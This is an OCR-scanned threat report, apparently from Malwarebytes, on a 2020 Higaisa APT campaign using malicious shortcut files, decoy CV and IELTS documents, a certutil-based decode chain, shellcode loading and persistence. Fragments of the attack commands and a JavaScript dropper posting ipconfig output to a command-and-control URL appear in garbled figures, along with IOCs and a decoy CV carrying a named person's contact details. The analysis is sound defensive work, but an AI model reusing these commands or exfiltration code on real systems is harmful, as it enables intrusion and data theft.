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On May 29th, we identified an attack that we believe is part of a new campaign from an
Advanced Persistent Threat actor known as Higaisa. The Higaisa APT is believed to be tied
to the Korean peninsula, and was first disclosed by Tencent Security Threat Intelligence
Center in early 2019.

The group’s activities go back to at least 2016 and include the use of Trojans such as GhOst
and PlugX, as well as mobile malware. Its targets include government officials and human
rights organizations, as well as other entities related to North Korea.

In this latest incident, Higaisa used a malicious shortcut file ultimately responsible for
creating a multi-stage attack that consists of several malicious scripts, payloads and decoy
PDF documents.

Distribution

The threat actors used a malicious LNK file bundled within an archive file which was most
likely distributed via spear-phishing.

We were able to identify two variants of this campaign that possibly have been distributed
between May 12th and 31st:
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“‘CV_Colliers.rar”
“Project link and New copyright policy.rar”

Both RAR archives bundle two malicious LNK files. In the newer variant (CV_Colliers.rar),
the LNK files are disguised as a Curriculum Vitae (CV) and International English Language
Testing System (IELTS) exam results. The older one (Project link and New copyright
policy.rar) seems to target product teams that are using zeplin.io.

The following shows the overall process flow when executing the malicious LNK file.

Copy certutil.exe
/' into gosia.exe

Findstr.exe /b
TVNDRga

Gosia.exe -decode
Sl 0423DFDS4.tmp
M Ipconfig D3reEW.txt
Expand.exe -F:*
0423DFDS4.tmp
Copy svchast.exe
Wscript / to startup folder
34fDKfSD38.js )

Create scheduled
Open decoy task
document
Execute Load the shell code Make https requests
\\ svchast.exe (63DF3DFG.tmp) to C&C server

Make post request
to C&C server

Figure 1: Process graph

LNK file

The LNK file contains a list of commands that will be executed upon running, and a blob that
is a base64 encoded compressed payload. Here is the list of commands that will be
executed:

Target created: 2020-05-26
Target modified: 2020-05-26
Target accessed: 2020-05-26

File size: @

Flags: HasTargetIdList, HasName, HasRelativePath, HasArguments, HasIconLocation, IsUnicode, ForceNoLinkInfo
File attributes: @

Icon index: @

Show window: SwShowminnoactive (Display the window as minimized without activating it.)

Name: hello hacker
Relative Path: ..\..\..\..\windc

ernational English Langu ystem certificate.pdf.lnl ‘okyumB2DC4 . tmp n (*ertu*.exe) dc
5 emp%\ g4ZokyumB2DCA . tmp>%tem &%tempd \gosia.exe - Silrouyd.tmp % \0423DFDS4 . tmp -F:*
anguage Testis em certificate.pdf"&copy %t : s ic\Dow FG. tmp8liscript

<
Icon Location: .\1.pdf

Figure 2: Malicious Ink commands
o Copy content of the LNK file into “g4ZokyumB2DC4.tmp” in %APPDATA% temp
directory.
o Copy content of “certutil.exe” into “gosia.exe” ( “*ertu*.exe is used to bypass security
detection).
o Look for the base64 blob using “findstr.exe” and write it to “cSi1rouy4.tmp”.
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o Decode content of “cSi1rouy4.tmp” using “gosia.exe -decode” (certutil.exe -decode)
and write it to “0423DFDS4.tmp”.

o Decompress content of “0423DFDS4.tmp” in temp directory along with a decoy PDF
document using “expand.exe -F:*” (Figure 3) .

e Copy “66DF3DFG.tmp” and “34fDKfSD38.js” files into “C:\Users\Public\Downloads”
directory.

o Execute the JS file by calling Wscript.

e Open the decoy document.

~

] Name Date modified Type Size
ﬁ 34fDFkfSD38,js 5/27/2020 726 PM  JavaScript File 2 KB e Malicious Java Script
[] 66DF3DFG:mp 5/25/2020 12:38 A..  TMP File 53 KB === ShellCode
S Curriculum Vitae_WANG LEI_Hong Ko..  5/22/2020 12:17 A..  PDF File 184 KB emmmmm Decoy pdf Document (CV)
svchast.exe 5/25/2020 1238 A.. Application 50 KB emmmm= 5mall loader which loads and execute the

Shellcode ("66DF3DFG.tmp")

Figure 3: Content of the “0423DFDS4.tmp” cab file

The list of commands executed by this LNK shortcut is the same as the one reported by
Anomali on the Higasia Covid-19 campaign. The only difference is the name of the tmp files
and name of certutil.exe which in this new case is “gosia.exe”, while in the March campaign
the name was “mosia.exe”.

Both LNK files embedded within the archive are executing similar commands with the
different Command and Control (C&C) configurations. Running each of them would show a
different decoy document.
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WANG LEI
Addr.: 21364, 15 Fat Kwong St., Ho Man Tin, Kowloon, Hong Kong, 999077 g

Tel.: +852 66747060 * Email: warren. wang(@connect.polyu.hk

Availability: May.2016 - Aug.2016 ‘V.
EDUCATION

Columbia University (Expected) United States
M.S. in Urban Planning & Real Estate Development Sep.2016 - Jun 2018
Hong Kong Polytechnic University Hong Kong
BSc¢ (HONS) in Geomatics with Specialism in Geo-Information Technology Sep.2012 - Expected Jun.2016

GPA: 3.42/4.0 Ranking: 4/38 IELTS: 7.5

University of British Columbia

Urban Design Summer Program Jul.2015 - Aug.2015
GPA: 91/100 Ranking: 1/70

PROFESSIONAL EXPERIENCE

Summer Intern Shanghai, China Building
Shanghai Construction Group Jun. - Jul.2015

*  Assisted tracking the progress of construction projects and composed field observation reports to supervisor
. Fast learned 3D modelling software Catia while new to it and helped with drawing of 3D models
¢ Conducted a feasibility study on the siting of subway stations through literature and field studies

Urban Heat Island (UHI) Research Assistant Hong Kong
Hong Kong Polytechnic University Jun. - Aug.2014
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Figure 4:CV Decoy document
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Figure 5: IELTS test result decoy document

JS file

The JavaScript file performs the following commands:

e Create “d3reEW.exe” in “C:\Users\Public\Downloads” and store “cmd /c ipconfig” in it.
o Execute the dropped “svchast.exe”.
o Copy “svchhast.exe” into startup directory and rename it as “officeupdate.exe”.
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¢ Add “officeupdate.exe” to scheduled tasks.
e Send a POST request to a hardcoded URL with “d3reEW.exe” as data.

var shell
isHidden:
shell.Run{'cmd
Menu\\Prog
update tas
shell.Run('%
WScript.Sleep( .0
1try {
var fso = new ActiveXObject ("
var txtfile = fso.OpenTextFile(
var fText = txtfile.Read(1000);
txtfile.Close() ;
} catch(e){
shell.Run('cmd /c dir

new ActiveXObject ("W

ipt.Shell");

minute /MO /TN "Off

' ,isHidden) ;

ds\\d

W.txt", 1) ;

,isHidden=0) ;
-}
1try {
wvar http = new ActiveXObject
var url 'http://goodhk.azu
http.open('POST' ,url,false);
http.setRequestHeader (' ntent-Type',
http.send('stest="+fText) ;
} catch(e){
shell.Run('cmd /c dir

(M

,isHidden=0) ;

}
Figure 6: JS content
00 0 50 4F 53 54 Z0 €8 74 T4 TO [3:] 75 72 €5 77 €5 €2 T3 €3 74 €5 73 ZE €E €5 T4 ZF POST http://goodhk.azurewebsites.net/
&3 EE T4 &5 TZ ZE &8 7O ZE &3 &3 &5 0 74 3R Z0 ZA ZF ZR DR 41 €3 €3 &5 1
7O T4 2D 4C €1 €E &7 75 €1 75 &F €E 74 €5 €E 74 ZD 54 73 70 €5 3A 20 €1 70 70
E6C €3 €3 &1 T4 €3 &F &E ZF &F T7Z €C €5 6E €3 €F €4 &5 €4 0D OA 55 41 ZD 43 50 lication/¥x-www—-form-urlencoded. UA-CP
55 3Ah 20 41 4D 44 3& 34 0D 2D €4 €3 €E €7 3A 20 €7 TA €3 70 2C 20 €4 €5 €& £C U: BMDE4..Lccept-Encoding: gzip, defl
€1 T4 €5 0D OA 55 73 €5 T2 z0 €C €C €1 2ZF 34 ZE 30 20 28 €3 €F €D 70 €1 74 €3 ate. .User-Agent: Mozillas4.0 (compati
&Z &C &5 3B Z0 4D 53 495 45 &3 73 Z0 4E 54 Z0 3& ZE 31 3B Z0 57 &3 &E 3& 34 3B ble; MSIE 7.0; Windows NT &€.1; Win€4;
20 7B 3€ 34 3B I0 54 TZ €5 30 45 54 20 43 4C 52 20 32 2ZE 30 ZE 35 30 37 3z 37 x€4; Trident/4.0; .NET CLR 2.0.50727
3B Z0 53 4C 43 43 3Z 3B Z0 5z ZE 33 30 37 3Z 3% 3B Z0 ZE 4E 45 54 Z0 43 4C 52 ; SLCCZ; _NET CLR 3.5.30729; _NET CLR
20 33 2E 30 2E 33 30 37 3z €1l T4 €5 72 20 50 43 20 3&€ ZE 30 3B 20 ZE 4E 45 54 3.0.3072%; Media Center PC £€.0; .HNET
34 ZE 30 43 3B Z0 ZIE 4E 45 0R 3R Z0 €7 €F €F €4 €8 €B ZE €1 TA 75 72 €5 77 €5 4_0C; .NET4.0E)._.Host: goodhk.azurewe
&2 T3 €5 T4 &5 T3 ZE &E &5 &5 &5 €E €7 74 &8 34 20 34 32 34 0D 0L 43 €F €E &€E bsites.net..Content-Length: 484..Conn
€5 €3 7 €3 €F €E 3R Z0 4B TE T2 €1 €7 €D €1 3A Z0 €E €F ZD €3 €1 €3 €8 €5 0D ection: KEEE Blive..Prag]r no-cache
OR OD OR Z& 74 €5 73 74 3D T7 ZD 43 €F &E €6 €9 €7 75 7Z €1 74 &9 €F €E 0D 0O& - ..&test=_ _Windows IP Configuration._._
0D OR OD OR 45 74 €8 €5 72 70 4C €F €3 €1 &C 20 41 72 €5 €1 Z0 43 €F €E €E &5 --..Ethernet adapter Local Area Conne
€3 T4 €3 &F €E 3h 0D OR 0D &E &F €E ZD 73 70 €5 €3 €35 €€ €% €3 Z0 44 4E 53 Z0 etion: . ... Connection-specific DNS
53 TS5 €€ €€ €% T8 20 20 2E 2 oD 4C €3 €E €B 2D &C €F €3 €1 &C 20 4% 50 7¢ 3¢ 20 Suffix . : home.. Link-local IDPwvwé
41 €4 €4 TZ €5 T3 73 20 2ZE 20 ZE 20 2E 20 ZE 20 ZE €5 38 30 3A 3A 35 €4 38 34 35 33 €1 32 3 €5 37 Address - - . . I feB0::5dB:53aZ:e7
3Z €2 3R €2 €1 33 35 Z5 31 31 0D OA 20 Z0 20 49 50 €4 €4 72 €5 73 73 ZE Z0 ZE Z0 ZE Z0 ZE Z0 ZE 20 Zb:ba35%11. IPv4 Rddress. . . . .
2E 20 2E 20 2Z2E 20 2E 20 2E 20 Z2E 20 3R 20 31 30 ZE 31 35 0D OA 20 20 20 53 75 €Z €E €5 74 20 4D €1 - - = - - - D lDo.D.2.15.. Subnet Ma
73 €B Z0 ZE 20 ZE 20 ZE 20 ZE 20 ZE 20 Z2E 20 ZE 20 ZE Z0 ZE Z0 3A Z0 32 35 35 ZE 37 35 35 ZE 32 35 =k . . . - 255 255 25
3 35 2E 30 0D OR 20 20 20 44 €5 €& €1 75 &€C T4 20 47 €1 7% 20 2E 20 2E 20 2E 20 2E 20 2E 20 2E 20 2 E.0.. Default Gateway . . . . . . .
3 20 2E 20 2E 20 3R 20 31 30 2E 30 ZE 32 2E 32 0D OA €E €E €5 €C Z0 €1 €4 €1 70 T4 €5 72 Z0 €3 73 €1 - - 10.0.2.2....Tunnel adapter isa
3 T4 €1 70 2E &8 &F €D €5 3A 0D OL OD OR 20 20 20 4D &5 €4 €5 €1 20 53 74 €1 74 &5 20 2ZE 20 2E 20 Z2E 20 2E 20 Z tap.home: Media State . . . .
3 20 2E 20 2E 20 2ZE 20 2E 20 Z2E 20 2ZE 20 3R 20 4D €5 €4 €5 €1 20 €4 €5 73 €3 €F €E €E €5 €3 74 €5 €4 0D OA 20 20 - = -« = - . = Media disconnected..
3 ZD 43 €F &E &E €5 €3 74 &9 €F €E ZD 73 70 €5 €3 €9 €6 €9 €3 Z0 44 4E 53 20 53 75 €& €€ €3 T8 Z0 Z0 ZE Z0 3R Z0 Connection-specific DNS Suffix B
acz €8 €F €D €5 0D OR (home . .

Figure7: POST request

svchast.exe

Svchast.exe is a small loader that loads the content of the shellcode stored in
“66DF3DFG.tmp”.
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lea rcx, FllENale » Lo h\Usershy\Fublich\Downloads\\boDFsUHG. ©. ).
lea réd, [r9+3] ; dwShareMode
mow edx, OCOAPAROBLH ; dwDesiredAccess
mowv [rsp+58h+dwFlagsAndAttributes], 80h ; dwFlagsAndAttributes
¥
il = 5
loc_14000185A:
mow [rsp+58h+var_108], rsi
gtionDisposition], 3 ; dwCreationDisposition
call cs:CreateFileA
mov rsi, rax
cmp rax, @FFFFFFFFFFFFFFFFh
jz loc 140001103
i 1
I il =
loc_14000107A: loc_ 140001183 :
mov [rsp+58h+arg 8], rbx xor eax, eax
xor edx, edx ; 1pFileSizeHigh mowv rsi, [rsp+58h+var_1@]
mov rcx, rax ; hFile add rsp, 58h
mov [rsp+58h+var_8], rbp retn
mov [rsp+58h+var 18], rdi main endp
call cs:GetFileSize |
mov r9d, 48h ; flProtect
mov r8d, 1008h ; flAllocationType
xor ecx, ecx ; lpAddress
mov edx, eax ; dwSize
lmoy edi, eax
call cs:ViPtuaIAIIOCI
mov réd, edi ; Size
xor edx, edx ; Val
mov rcx, rax ; Dst
mov rbp, rax
call memset
lea r9, [rsp+58h+Number0fBytesRead] ; lpNumberOfBytesRead
mov r8d, edi ; nNNumberOfBytesToRead
mov rdx, rbp 3 lpBuffer
mov rcx, rsi ; hFile
mov [rsp+58h+Number0fBytesRead], @
mov gword ptr [rsp+58h+dwCreationDisposition], @ ; lpOverlapped
call cs:ReadFile
mov rdi, [rsp+58h+var 18]
mov rbx, [rsp+58h+arg 8]
test rbp, rbp
jz short loc_1400010F2
|‘|
i a1 o=

loc_1400010F0:

call rbpl

3 Jump to Shell-Code

Figure 8: Main function of svchast.exe

In fact, this shellcode is a wrapper around the final shellcode. It performs some checks and

then calls the final shellcode.
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movsxd r8,eax

test eax,eax

jle ElAaaQE

movsxd rl0,dword ptr ds:[rdi+38]
mov rcx,rbx

cmp rcx,rlo

cmovge rcx,rbx

inc rcx

mov al,byte ptr ds:[rdi+rcx+3e]
xor byte ptr ds:[rdx],al

inc rdx

dec ré&

jne ELASFG

movsxd rax,dword ptr ds:[rdi+60]
movzx ecx,byte ptr ds:[rdi+2cC]
mov r&,rdi

sub r8,rax

mov edx,ebx

ror edx,cl

movsx eax,byte ptr ds:[ra]

inc r8

add edx,eax
dec rod

jne ElAalE
cmp rlld,edx
je EL1ABSB

mov dword ptr
mov dword ptr
lea rbp,gword
lea rax,qgword
mov rcx,rdi

ds:[rdi+30],ri11d
ds:[rdi+34],ebp

ptr ds:[rdi+1390]
ptr ds:[rdi+1390]

ptr ds:[rdi+1388

word
call rax

final shellcode

Figure 9: Calling

The final shellcode dynamically resolves the imports and allocates memory for the content
that will be executed.

0000000000E40530
0000000000E40540
0000000000E40550
0000000000E40560
0000000000E40570
0000000000E40580
0000000000E405590
0000000000E405R0
0000000000E405B0
0000000000E405C0
0000000000E405D0
0000000000E405E0
0000000000E405F0
0000000000E40600
0000000000E40610
0000000000E40620
0000000000E40630
0000000000E40640
0000000000E40650
0000000000E40¢6E0
0000000000E40670
0000000000E40680
0000000000E40650
0000000000E406R0
0000000000E406B0
0000000000E406C0
0000000000E406D0

<&CrypthcquireContextW>
<&CryptDestroyHash>
<&CryptCreateHash>
<&CryptHashData>
<&CryptGetHashParam>
<&CryptDeriveKey>
<&CryptEncrypt>
<&CryptDecrypt>
<&GetUserNameW>
<&UuidCreates>
<&WinHttpGetIEProxyConfigForcu
<&WinHttpOpen>
<&WinHttpGetProxyForUrls>
<&WinHttpCloseHandle>
<&WinHttpConnect>
<&WinHttpOpenRequest>
<&WinHttphAddReguestHeaders>
<&WinHttpSendRequest>
<&WinHttpWriteData>
<&WinHttpQueryDatalhvailable>
<sWinHttpQueryoptions
<&WinHttpRecelveResponses
<&WinHttpReadData>
<&WinHttpSetoption>
<&WinHttpSetCredentials>
<&WinHttpQueryAuthSchemes:>
<&GetRdaptersInfo>

Figure 10: Resolving the imports
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UUUULUULLULE, © UE BE BB LU UU UU|J1€ LBABSE
| 00000000001E. 48 63 47 60 movsxd rax,dword ptr ds:[rdi+60] rax  [000000000DLIEDDDD
| 000000000016, 48 88 77 68 mov rsi,qword ptr ds:[rdi+68] REX
®| 00000000001B. 88 97 CO 00 00 00 mov edx,dword ptr ds:[rdi+co] RCX  00007FFFDEE65164 nt
| 00000000001E. 48 88 CF mov rcx,rdi RDX  0000000000000000
| 00000000001E. 41 B9 04 00 00 00 [mov rod,4 REP  0OOOOOOQOOLECA44
| 00000000001E. 41 B8 00 10 00 00 |mov r8d,1000
| 000000000018 48 28 €8 sub rex,rax ESEQEO0000000004 EEDA0
| 00000000001E. 48 89 7F 58 mov qword ptr ds:[rdi+58],rdi R TROnOD0000N0TEGS 0Ty
®| 00000000001E. 48 89 4F 50 mov qword ptr ds:[rdi+50],rcx RDI  00000000001EACOO
| 00000000001E. 48 03 F1 add rsi,rox
o 33 ¢9 ar_ecx' e RS 00000000004FFCF8
FF 97 F8 00 00 00| €all gword ptr ds:[rdi+rs] [rdi+F8]:virtualalloc] RY 00000000001BC444
48 89 87 €8 00 00 MOV qwWord pEr Os:[rd1iCo],Tax R10  0000000000000000
48 85 €O Test rax,rax R11  0000000000000246 L
~ OF 81 E8 00 00 00 je 1BABSE R12  0000000000000000
000000000018, 48 63 4F 64 movsxd rcx,dword ptr ds:[rdi+64] R13  0000000000000000
000000000018, 8A 57 1C mov dl,byte ptr ds:[rdi+ic] R14  0000000000001370
00000000001E. 48 85 €9 Test rox,rex RIS  0000000000000000
| 00000000001E. © 7E 0D jle 1BAABC
00000000001E: 48 88 €6 mov rax,rsi
00000000001E: 30 10 xor byte ptr ds:[rax],dl RIFQENGUOOUCCGUOIEARS S
000000000018, 48 FF CO inc rax
00000000001, 48 FF €9 dec rex RELACERINOU000000000C0 201
00000000001E, ~ 75 F6 jne 1BAAB2 ZF 0 PF1
00000000001B. 48 8B D6 mov rdx,rsi OF 0 5F 0 DF O
000000000018, 48 8B CF mov_rcx,rdi V| [€F O TF O IF1
ANNONNNNNNA R, £E n& FEW rhn
< > Default (x64 fastcall)
qword ptr [rdi+C8]=[00000000001BACCE]=0 1: rcx 00007FFFDEEGS1GA ntdll
rax=1£0000 2: rdx_0000000000000000
000000000018A493 3: r8 00000000004FFCFE
ii ea Rt
o 4 0 04 1 00000000001E0000
@youmpl @M Dump2 @Y oump3 @ Dump4  Woumps @ watchi ) Struct O DCOOOO0G e 0000000001000
00000000004FFD50 | 0000000000000000
Sggggggnnmgnnnn Iggxm 5000700 00 00 00100 00 00 00 L ~ | 00000000004FFD58 | 000000000000D206
00000000001E0010 00 00 00 00|00 00 00 00|00 00 00 00|00 00 ‘ G0D0000000 L DR [0060000000000600
. 00000000004FFD6E | 0000000000000306
00000000001 E£0020 00 00 00 00|00 00 00 0000 00 00 00|00 00| . Y

Figure 11: Allocate memory for new thread
Finally it calls “CreateThread” to create a thread within its memory space to make HTTPS
requests to its C&C server.

0000000000154 v 7€ 0a jle 1BAAE2
00000000001 30 0E %or byte ptr ds:[rsil,cl N | Hide FPU
00000000001 48 FF €6 inc rsi RAX  00000000001E0000 <&virtualallocs
00000000001 48 FF €8 dec rax REX  0000000000000000
00000000001 ~ 75 F6 jne 1BAADS
00000000001 18 85 45 50 fov rex,quord prr ds: [rdi=50] = s
00000000001 48 88 87 €8 00 00 |mov rax,qword ptr ds:[rdi+cs] REP  00000000001BCA44
00000000001 4C 8B CF mov ro,rdi RSP 00000000004FFD40
00000000001 48 03 8F 88 00 00 |add rcx,qword ptr ds:[rdi+88] rdi+88:"06"
00000000001 33 p2 xor edx,edx L TR 0000000000 LECE00
000000000011 48 89 5¢ 24 28 mov quord ptr ss:[frsp+28],rbx RDIJEOG0CO0GIT0TEACT0
00000000001 48 £9 88 FO 07 00 |mov gword ptr ds:[rax:+7F0],rex
00000000001 48 &8 BF 88 00 00 |mov rcx,qword ptr ds:[rdi+85] rdi+88:"0G" RS 00000000001BA598
00000000001 4C 88 87 F8 02 00 |mov r8,qword ptr ds:[rdi+2Fs] RO 00000000001BACOQ
00000000001 8413 48 03 4F 50 add rox,qword ptr ds:[rdi+50] RI0  00000000000000FO ‘3"
00000000001 BAB: 48 8B 87 €8 00 00 |mov rax,qword ptr ds:[rdi+c8] RI1  000000000000049E L'x'
00000000001 4C 03 47 50 add rs,qword ptr ds:[rdi+50] R12  0000000000000000
00000000001 48 83 8¢ 15 01 00 mov g‘girgcg(r ds:[rdi+118],rex RI3  0000000000000000

> . R14  0000000000001370

S E N e e S Gosssosssssins

00000000001 4c 88 87 c8 00 OO mov r&,qword per
00000000001 83 CA FF o et REFFFFEF AR UCGUCUOUTHEL2E
00000000001 48 88 C8 mov rex,rax
000000000011 48 88 D8 mov_rbx,rax ELACS JERIUO0U00000000 210
00000000001 41 FF 90 10 01 00 |gall gword ptr ds:([r8:110] il il 50
00000000001 9 48 8B 97 C8 00 00 |mov rdx,qword ptr ds:[rditcg] OF 0 SF 0 DF O
00000000001EAB 50 48 88 CB mov rex,rbx vl€Fo TFO TR 1

Figure 11: CreateThread
At the time of analysis, the server was down so we weren’t able to clearly identify the
ultimate goal of this attack.

Chaining techniques for evasion

While most malware campaigns use a simple decoy document that typically retrieves a
malware payload, more advanced attackers will often try unconventional means to infect
their victims.

We reproduced this attack in our lab using an email as the infection vector, as we surmise
that victims were spear-phished. Malwarebytes (in this case the Nebula business version)
stopped the LNK file execution from WinRAR and therefore completely stopped the attack.
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https://blog.malwarebytes.com/wp-content/uploads/2020/06/10.png
https://blog.malwarebytes.com/wp-content/uploads/2020/06/12.png
https://www.malwarebytes.com/business/cloud/

Detection Details

Malware.Exploit.Agent.Generic

Detection Malware.Exploit.Agent.Generic
Mame:
Action
Taken: Blocked
Category: Exploit
Scanned At:
Reported At:
Type: Exploit
Endpoint:
C:\windows\System32\cemd.exe C:\windows\System32\emd.exe C:\Windows\System32\cmd.exe \c copy Curriculum Vitae_WANG L
University.pdf.ink C:\Users\, hAppData\Local\Temp\gdZokyumB2DC4.tmp Y& for \r C:\Windows\System32\ %i in (*ertu*.exe) dc
C:\Usersy, AppData'Local\Temp\gosia.exe \y& findstr.exe \b TVNDRgA
Location: C:\Users\, \AppData\Local\Temp\gdZokyumB2DC4.tmp>C:\Users), \AppData\Local\Temp\cSilrouyd.tmp&C:\Users! WA
. -decode C:\Users! \AppData\Local\Temp\cSilrouyd.tmp C:\Users! \AppData\Local\Temp\o423DFD54.tmpé&expand
C:\Usersy, \AppData\Local\Temp\o423DFDS4.tmp -F:* C:\Users\ \AppData\Local\Termp&C:\Users\ \AppData\Local\Ter
LEI_Hong Kong Polytechnic University.pdfé&copy C:\Users' \AppData\Local\Temp\66DF3DFG.tmp C:\Users\Public\Downloads\E
Ci\Users' \AppDatalLocal\Temp\34fDFkfSD38 js&exit
»
I0Cs

CV_Colliers.rar
df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bcebabd

Project link and New copyright policy.rar
c3a45aaf6ba9f2a53d26a96406b6c34a56f364abe1dd54d55461b9ccS5b9d9a04

Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.Ink
50d081e526beeb61dc6180f809d6230e7cc56d9a2562dd0f7e01f7c6e73388d9

Tokbox icon — Odds and Ends — iOS — Zeplin.Ink
1074654a3f3df73f6e0fd0ad81597c662b75¢c273c92dc75c5a6bea81f093ef81

International English Language Testing System certificate.pdf.Ink
c613487a5fc65b3b4ca855980e33dd327b3f37a61ce0809518ba98b454ebf68b

Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.Ink
dcd2531aa89a99f009a740eab43d2aa2b8c1ed7c8d7e755405039f3a235e23a6
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https://blog.malwarebytes.com/wp-content/uploads/2020/06/image.png

Conversations — iOS — Swipe Icons — Zeplin.Ink
c0a0266f6df7f1235aeb4aad554e505320560967248c9c5cce7409fc77b56bd5

C2 domains (ipconfig exfiltration)
sixindent[.]epizy[.Jcom
goodhk[.]Jazurewebsites[.]Jnet
zeplin[.]Jatwebpages[.Jcom

C2s used by svchast.exe
45.76.6[.]149
www.comcleanner].]info

MITRE ATT&CK techniques

Tactic ID Name Details
Execution T1059 Command-Line Starts CMD.EXE for commands
Interface (WinRAR.exe, wscript.exe) execution
T1106 Execution through APl  Application (AcroRd32.exe) launched
itself
T1053 Scheduled Task Loads the Task Scheduler DLL interface
(Officeupdate.exe)
T1064 Scripting Executes scripts (34fDFkfSD38.js)
T1204 User Execution Manual execution by user (opening LNK

file)

Persistence T1060 Registry Run Keys /

Startup Folder

Writes to a start menu file
(Officeupdate.exe)

Scheduled Task

Uses Task Scheduler to run other
applications (Officeupdate.exe)

Privilege T1053 Scheduled Task

Uses Task Scheduler to run other

Escalation applications (Officeupdate.exe)
Defense T1064 Scripting Executes scripts (34fDFkfSD38.js)
Evasion

T1140 Deobfuscate/Decode certutil to decode Base64 binaries,

Files or Information

expand.exe to decompress a CAB file

Discovery  T1012 Query Registry

Reads the machine GUID from the
registry
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https://attack.mitre.org/techniques/T1059
https://attack.mitre.org/techniques/T1106
https://attack.mitre.org/techniques/T1053
https://attack.mitre.org/techniques/T1064
https://attack.mitre.org/techniques/T1204
https://attack.mitre.org/techniques/T1060
https://attack.mitre.org/techniques/T1053
https://attack.mitre.org/techniques/T1053
https://attack.mitre.org/techniques/T1064
https://attack.mitre.org/techniques/T1140/
https://attack.mitre.org/techniques/T1012
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System Network
Configuration
Discovery

Uses IPCONFIG.EXE to discover IP
address
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https://attack.mitre.org/techniques/T1082
https://attack.mitre.org/techniques/T1016

